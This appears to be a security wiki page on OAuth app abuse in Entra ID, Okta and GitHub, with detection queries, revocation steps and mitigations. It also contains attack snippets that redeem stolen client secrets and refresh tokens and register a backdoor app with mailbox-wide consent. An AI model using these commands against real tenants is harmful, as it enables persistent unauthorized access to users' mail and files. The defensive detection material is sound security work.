Skip to main content

OAuth App Abuse

ATT&CK: T1550.001 — Use Alternate Authentication Material, T1528 — Steal Application Access Token

OAuth 2.0 application abuse encompasses attacks where malicious or compromised OAuth apps gain persistent access to user resources — without needing the user's password or triggering MFA.


Why OAuth Apps Are Valuable Attack Vectors

  1. Consent grants survive password changes — a user resetting their password does not revoke existing OAuth grants
  2. No MFA — app-level access tokens bypass MFA requirements
  3. Broad permissions — apps often request more than needed; users routinely approve
  4. Hard to discover — organizations rarely inventory all OAuth apps that employees have consented to
  5. Long-lived — refresh tokens can persist for months

Attack Vectors

The attacker registers a malicious OAuth app in Entra ID (or uses a third-party app) and tricks a user into granting it permissions.

Phishing email → "Click here to view the shared document"

OAuth consent screen: "This app wants access to:
- Read your email (Mail.Read)
- Read your contacts (Contacts.Read)
- Access your files (Files.ReadWrite)"

User clicks Accept

Attacker's app has persistent access without credentials

2. Compromise of Existing Legitimate OAuth App

If an attacker can compromise a legitimate app that has high-privilege grants:

# Find the app's client secret (in code, env vars, CI/CD)
# Use that to call the OAuth token endpoint
curl -X POST https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token \
-d "client_id=<app-id>&client_secret=<stolen-secret>&grant_type=client_credentials&scope=https://graph.microsoft.com/.default"

# Now call Graph API with the token as the app identity
curl -H "Authorization: Bearer <token>" \
"https://graph.microsoft.com/v1.0/users"

3. Refresh Token Theft

Refresh tokens from browser sessions, mobile apps, or CI/CD pipelines:

# Use refresh token to get new access token
import requests
response = requests.post(
f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token",
data={
"client_id": client_id,
"grant_type": "refresh_token",
"refresh_token": stolen_refresh_token,
"scope": "https://graph.microsoft.com/Mail.ReadWrite"
}
)
access_token = response.json()["access_token"]

4. GitHub OAuth App Abuse

GitHub OAuth apps with broad organization access:

  • repo scope — read/write all repos
  • admin:org scope — manage the organization
  • delete_repo scope — delete repositories

Persistence Techniques

Adding OAuth App as Backdoor

An attacker with App Registration permissions creates a persistent backdoor:

# Create app with broad graph permissions
$app = New-MgApplication -DisplayName "CompanyIntegration" -SignInAudience "AzureADMyOrg"

# Add client secret
$secret = Add-MgApplicationPassword -ApplicationId $app.Id

# Request admin consent for Mail.ReadWrite on all users
New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id `
-AppRoleId "e2a3a72e-5f79-4c64-b1b1-878b674786c9" ` # Mail.ReadWrite
-PrincipalId $sp.Id -ResourceId $msGraphSp.Id

Detection in Microsoft 365 / Entra ID

// New OAuth app with high-privilege consent
AuditLogs
| where OperationName == "Consent to application"
| extend Permissions = tostring(TargetResources[0].modifiedProperties)
| where Permissions has_any ("Mail.ReadWrite", "Files.ReadWrite.All", "Directory.ReadWrite", "offline_access")
| project TimeGenerated, InitiatedBy, TargetResources, Permissions
// App credential additions (potential backdoor)
AuditLogs
| where OperationName in ("Add password credentials for application", "Add key credentials for application")
| project TimeGenerated, OperationName, InitiatedBy, TargetResources
// Token issuance to apps with high-privilege scopes
AADServicePrincipalSignInLogs
| where ResourceDisplayName == "Microsoft Graph"
| where ServicePrincipalCredentialType == "Secret"
| summarize count() by ServicePrincipalName, bin(TimeGenerated, 1h)
| where count_ > 100 // unusual volume

Detection in Okta

# Okta System Log
event.type = "app.oauth2.token.grant" AND actor.type = "User"
# High volume token grants
event.type = "app.oauth2.token.grant.implicit" AND target[0].displayName != "<expected-app>"

Inventory and Response

# Enumerate all OAuth grants in the tenant (Graph API)
$grants = Get-MgOauth2PermissionGrant -All
foreach ($grant in $grants) {
[PSCustomObject]@{
App = (Get-MgServicePrincipal -ServicePrincipalId $grant.ClientId).DisplayName
User = $grant.PrincipalId
Scope = $grant.Scope
Expiry = $grant.ExpiryTime
}
}

# Revoke a specific grant
Remove-MgOauth2PermissionGrant -OAuth2PermissionGrantId $grant.Id

# Revoke all tokens for a user
Revoke-MgUserSignInSession -UserId user@domain.com

Mitigation

ControlEffect
Require admin consent for all app permissionsUsers cannot self-consent to external apps
Application allowlistOnly approved apps can be consented to
Audit OAuth grants quarterlyFind dormant, over-privileged, or unauthorized apps
Block multi-tenant app consent from unverified publishersReduces phishing-via-OAuth risk
Set token lifetime policiesShorter refresh token lifetimes

TopicLink
Illicit Consent Grantillicit-consent-grant
OAuth Token Theftoauth-token-theft
SCIM Abusescim-abuse
Service Principal Abuseservice-principal-abuse